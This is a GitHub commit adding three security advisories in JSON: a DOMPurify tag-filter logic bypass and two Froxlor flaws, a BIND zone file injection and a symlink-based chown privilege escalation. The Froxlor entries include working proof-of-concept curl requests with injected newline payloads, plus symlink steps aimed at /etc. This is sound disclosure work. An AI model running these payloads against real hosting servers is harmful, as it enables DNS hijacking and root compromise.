Skip to content

Commit 007e9d4

Browse files

File tree

5 files changed

+281
-0
lines changed

5 files changed

+281
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-39q2-94rc-95cp",
4+
"modified": "2026-04-16T00:46:35Z",
5+
"published": "2026-04-16T00:46:35Z",
6+
"aliases": [],
7+
"summary": "DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation",
8+
"details": "## Summary\nIn `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.\n\nThe condition:\n```\n!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])\n```\nWhen `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.\n\n## Inconsistency\nThis contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:\n```\nif (FORBID_ATTR[lcName]) { continue; }\n```\nFor tags, FORBID should also take precedence over ADD.\n\n## Impact\nApplications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.\n\n## Suggested Fix\nCheck `FORBID_TAGS` before `tagCheck`:\n```\nif (FORBID_TAGS[tagName]) { /* remove */ }\nelse if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }\n```\n\n## Affected Version\nv3.3.3 (commit 883ac15)",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "dompurify"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.4.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 3.3.3"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/cure53/DOMPurify"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-783"
52+
],
53+
"severity": "MODERATE",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-04-16T00:46:35Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-47hf-23pw-3m8c",
4+
"modified": "2026-04-16T00:47:26Z",
5+
"published": "2026-04-16T00:47:26Z",
6+
"aliases": [],
7+
"summary": "Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()",
8+
"details": "## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file.\n\n## Details\n\n**Missing type whitelist — `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this->getParam('type', true, 'A');\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization — `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output — `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this->record . \"\\t\" . $this->ttl . \"\\t\" . $this->class . \"\\t\" . $this->type . \"\\t\"\n . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . \"\\t\" : \"\")\n . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write — `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only — the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions — no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n -u 'APIKEY:APISECRET' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n }\n }'\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@ 18000 IN NAPTR 100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker's IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n -u 'APIKEY:APISECRET' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n }\n }'\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — after line 93\n$type = $this->getParam('type', true, 'A');\n\n$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];\nif (!in_array($type, $allowed_types)) {\n throw new Exception(\"DNS record type '\" . htmlspecialchars($type) . \"' is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], '', $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], '', $this->content);\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "froxlor/froxlor"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.3.6"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/froxlor/froxlor"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-93"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T00:47:26Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-75h4-c557-j89r",
4+
"modified": "2026-04-16T00:47:18Z",
5+
"published": "2026-04-16T00:47:18Z",
6+
"aliases": [],
7+
"summary": "Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron",
8+
"details": "## Summary\n\n`DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.\n\n## Details\n\nThe vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`).\n\nEvery customer-facing API command that builds a path from user input passes this parameter:\n\n```php\n// DirProtections.php:87\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// DirOptions.php:96\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// Ftps.php:178\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// SubDomains.php:585\nreturn FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nBut `DataDump.add()` was missed:\n\n```php\n// DataDump.php:88 — NO $fixed_homedir parameter\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n```\n\nThe path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`):\n\n```php\nCronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);\n```\n\nWhen `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`:\n\n```php\nFileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n```\n\nThe `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.\n\nThe `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\\r\\n\\t\\f\\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks.\n\n## PoC\n\nPrerequisites:\n- `system.exportenabled` = 1 (admin setting)\n- Customer account with API key and FTP/SSH access\n\n```bash\n# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory\n# (customer has FTP/SSH access to their own docroot)\nssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'\n\n# Step 2: Schedule data export via API with path pointing to the symlink\ncurl -X POST \\\n -H \"Content-Type: application/json\" \\\n -d '{\"header\":{\"apikey\":\"CUSTOMER_API_KEY\",\"secret\":\"CUSTOMER_API_SECRET\"},\"body\":{\"command\":\"DataDump.add\",\"params\":{\"path\":\"steal\",\"dump_web\":\"1\"}}}' \\\n https://panel.example.com/api.php\n\n# Expected response: 200 OK with task_data including destdir\n\n# Step 3: Wait for ExportCron to run (hourly cron as root)\n# The cron executes:\n# mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists)\n# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data)\n# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'\n# mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'\n# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'\n#\n# The final chown resolves the symlink and recursively chowns\n# /var/customers/webs/victim_customer/ to the attacker's UID/GID.\n\n# Step 4: Attacker now owns all of victim's web files\nssh customer@server 'ls -la /var/customers/webs/victim_customer/'\n# All files now owned by attacker_customer UID\n\n# For system-level escalation, the symlink can target /etc:\n# ln -s /etc /var/customers/webs/attacker_customer/steal\n# After cron: attacker owns /etc/passwd, /etc/shadow → root shell\n```\n\n## Impact\n\n- **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.\n- **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification.\n- **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.\n- **Service disruption:** Changing ownership of system directories can break system services.\n\nThe attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.\n\n## Recommended Fix\n\nPass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command:\n\n```php\n// lib/Froxlor/Api/Commands/DataDump.php, line 88\n// Before (vulnerable):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n\n// After (fixed):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nAdditionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`:\n\n```php\n// lib/Froxlor/Cron/System/ExportCron.php, line 232\n// Add symlink check before chown\nif (is_link(rtrim($data['destdir'], '/'))) {\n $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']);\n} else {\n FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n}\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "froxlor/froxlor"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.3.6"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/froxlor/froxlor"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-59"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T00:47:18Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)